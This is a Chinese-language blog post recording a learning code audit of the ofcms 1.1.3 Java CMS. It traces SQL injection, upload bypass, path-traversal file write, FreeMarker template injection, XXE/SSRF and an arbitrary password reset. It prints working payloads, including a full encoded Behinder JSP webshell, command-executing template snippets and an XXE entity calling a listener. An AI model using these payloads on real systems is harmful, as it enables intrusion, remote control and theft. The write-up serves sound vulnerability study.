【Java代码审计】ofcms 1.1.3
source link: https://fanygit.github.io/2022/10/09/[Java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1]ofcms%201.1.3/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
通过审计一些简单的源码学习代码审计。在审计过程感觉还是有很多代码看不懂,不管那么多了,先审起来。
后台sql注入漏洞
登录后台后,在系统设置->代码生成->添加中输入如下payload
update of_cms_ad set ad_id=updatexml(1, concat(0x7e, (database()),0x7e),1);
可以看到成功爆出了数据库名。
通过burp抓包,可以看到请求的路由。
在IDEA中 全局搜索system/generate
可以找到处理这个路由的类文件,在这个文件的45行可以看到一个create方法,刚刚的路由就是调用这个方法。
这里的getPara获取了传入的sql语句
接下来,跟进Db.update中。
这里先是建立了一个数据库连接,然后再次调用了update方法,继续跟进
这里就是比较关键的地方了,conn.prepareStatement
是用来预编译sql语句的,executeUpdate
则是可以执行sql语句。
预编译通常都是先构造一个sql语句,然后需要传入的参数用?
代替,然后挨个放进去,目的就是为了预防sql注入。但是这整条sql语句我们都能够控制。预编译根本没起到什么作用,也没有对sql做过滤,所以可以自己构造update报错语句进行报错注入。
任意文件上传2
这里先上传一个 文件后缀为 图片格式 png 的 jsp webshell,然后抓包。
当上传gif后缀格式的时候,是可以上传成功的。
但是上传jsp后缀格式就不行,由于是在windows下,使用::$DATA
后缀绕过上传
在来看看上传文件目录下
当然,如果直接访问是访问不了的
还是通过burp抓包,查看请求的路由
全局搜索comn/service
在ComnController
文件的101行
上面是文件上传的逻辑,jfinal 使用 getFile进行文件上传,跟进getFile
跟进 MultipartRequest
类
跟进wrapMultipartRequest
方法
在86行调用了一个 isSafeFile的方法
这里拿到了上传文件的文件名,去重并转换成小写,然后判断文件名末尾是否为.jsp
或.jspx
,如果是则返回flase,就不进行上传。
但是在windows下,绕过的方式可以用shell.jsp::$DATA
或在文件名末尾加.,比如shell.jsp.
都会保存为shell.jsp
任意文件上传2
在系统设置->模板文件中,点击保存,然后burp抓包
这里将 dirs
改成 ../../../static
, file_name
改成shell.jsp
,file_content
改成jsp冰蝎马
file_path=E%3A%5CTools%5CEnv%5Capache-tomcat-8.5.73%5Cwebapps%5Cofcms_admin%5CWEB-INF%5Cpage%5Cdefault%5Cindex.html&dirs=../../../static&res_path=&file_name=shell.jsp&file_content=<jsp%3aroot+xmlns%3ajsp%3d"http%3a//java.sun.com/JSP/Page"+version%3d"1.2"><jsp%3adirective.page+import%3d"java.util.*,javax.crypto.*,javax.crypto.spec.*"/><jsp%3adeclaration>+class+U+extends+ClassLoader{U(ClassLoader+c){super(c)%3b}public+Class+g(byte+[]b){return+super.defineClass(b,0,b.length)%3b}}</jsp%3adeclaration><jsp%3ascriptlet>String+k%3d"e45e329feb5d925b"%3bsession.putValue("u",k)%3bCipher+c%3dCipher.getInstance("AES")%3bc.init(2,new+SecretKeySpec((session.getValue("u")%2b"").getBytes(),"AES"))%3bnew+U(this.getClass().getClassLoader()).g(c.doFinal(new+sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext)%3b</jsp%3ascriptlet></jsp%3aroot>
在ofcms_admin\static
下
可以看到已经成功上传,直接用冰蝎连接
通过burp抓包可以路由为/ofcms_admin/admin/cms/template/save.json
在TemplateController.java
文件中
在107行
简单分析下,这里可以通过外部控制 res_path
dirs
file_name
file_content
这四个参数。
fileContent = fileContent.replace("<", "<").replace(">", ">");
File file = new File(pathFile, fileName); // 创建文件 文件路径 文件名可控
FileUtils.writeString(file, fileContent); // 将内容写入文件中 文件内容可控
经过分析,相当于是文件路径和文件名还有文件内容我们都可以控制,并且没有对文件名和文件内容进行限制,想传入什么都可以。而且文件路径还可以通过../../
进行目录穿越,可以实现将文件传入到任意目录下。
pathFile = new File(SystemUtile.getSiteTemplatePath());
这条语句则会得到一个基础路径,通过debug可以得知
通过测试,可以访问到网站跟目录下的static下的资源文件,可以控制dirs
为 ../../../static
将冰蝎传入到static目录下,冰蝎链接,即可拿下。
任选一个payload放在模板文件的任意位置。
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>
然后让我一个不存在的文件,就会自动跳转到404页面,然后弹出计算器。
这里的原理也很简单,这套网站使用了freemarker
作为模板语言,并且我们还能控制网页模板文件,因此,只要能控制网页的地方,都可以将<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
执行命令的语句嵌入到网页中,然后访问就会执行。
XML注入
首先在本地用python起一个http监听
然后通过上面任意文件上传2
的方式上传一个后缀为jrxml格式的文件
ssrf.jrxml内容
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://127.0.0.1:8000/secret_pass.txt">%xxe;]>
file_path=E%3A%5CTools%5CEnv%5Capache-tomcat-8.5.73%5Cwebapps%5Cofcms_admin%5CWEB-INF%5Cpage%5Cdefault%5Cindex.html&dirs=../../&res_path=&file_name=ssrf.jrxml&file_content=<!DOCTYPE+foo+[<!ENTITY+%25+xxe+SYSTEM+"http%3a//127.0.0.1/secret_pass.txt">%25xxe%3b]>
然后再访问用户管理->系统设置->导出全部,并抓包
发送到Repeater,修改j的参数为 ../ssrf
并提交
python收到了请求
根据路由report
找到 ReprotAction.java
这段代码的功能就是用来导出报表的,前端可以传入参数j
可以控制读取 jrxml
文件。
假设j
传入的是ssrf
, 那么 jrxmlFileName
变量得到的路径就是
/WEB-INF/jrxml/ssrf.jrxml
如果传入 ../ssrf
那么就会加载 WEB-INF目录下的ssrf.jrxml文件,所以通过目录穿越的方式,可以加载任意路径下的jrxml文件
/WEB-INF/jrxml/../ssrf.jrxml
但是只是加载任意路径下的jrxml 文件,有有什么用呢?
接下来,在46行中
跟入compileReport
这里的 JRXmlLoader.load(inputStream)
这个方法 则可以解析 jrxml。而这里的inputStream
参数就是,刚刚通过j
传入的文件名,然后进行拼接后打开文件流,只要能上传一个通过精心构造一个jrxml文件,那么就可以实现ssrf,读取文件。但是这里不会回显读取后的结果,所以只能构造一个实现ssrf jrxml文件。
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://127.0.0.1:8000/secret_pass.txt">%xxe;]>
这里就利用了任意文件上传2
中保存模板的方式在任意一个路径下,让后修改j的参数去路径下读取,即可加载到这个jrxml文件,实现ssrf攻击。
任意用户密码重置
创建一个test用户,并登录到test
发送到Repeater,修改user_id 的参数为1,即可修改管理员 admin密码 为 666666
接下来 登录到 admin
根据密码重置的路由 /ofcms_admin/admin/system/user/respwd.json
在源码中找到SysUserController.java
在 109行
在 respwd这个方法当中,首先会拿到两次输入的密码进行比对,如果不一致则直接返回,一致则将密码进行Sha256Hash进行加密然后set到Record这个对象中,这个Record对象就是封装了一个Map对象,可以对其进行get,set,最关键的一个地方就是,下面还获取了user_id 也并设置到Record对象中。然后执行Db.update。这里以user_id
作为更新条件 从 record中去获取user_id
,然后record中的user_id
的其实就是外部传入的user_id
。所以才可以通过控制user_id
来重置任意用户密码。
到此就结束了,在审计的过程当中,有很多代码我都读不懂,读不懂的原因是因为使用了开发框架,没有去使用过,所以看起来很费劲。
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK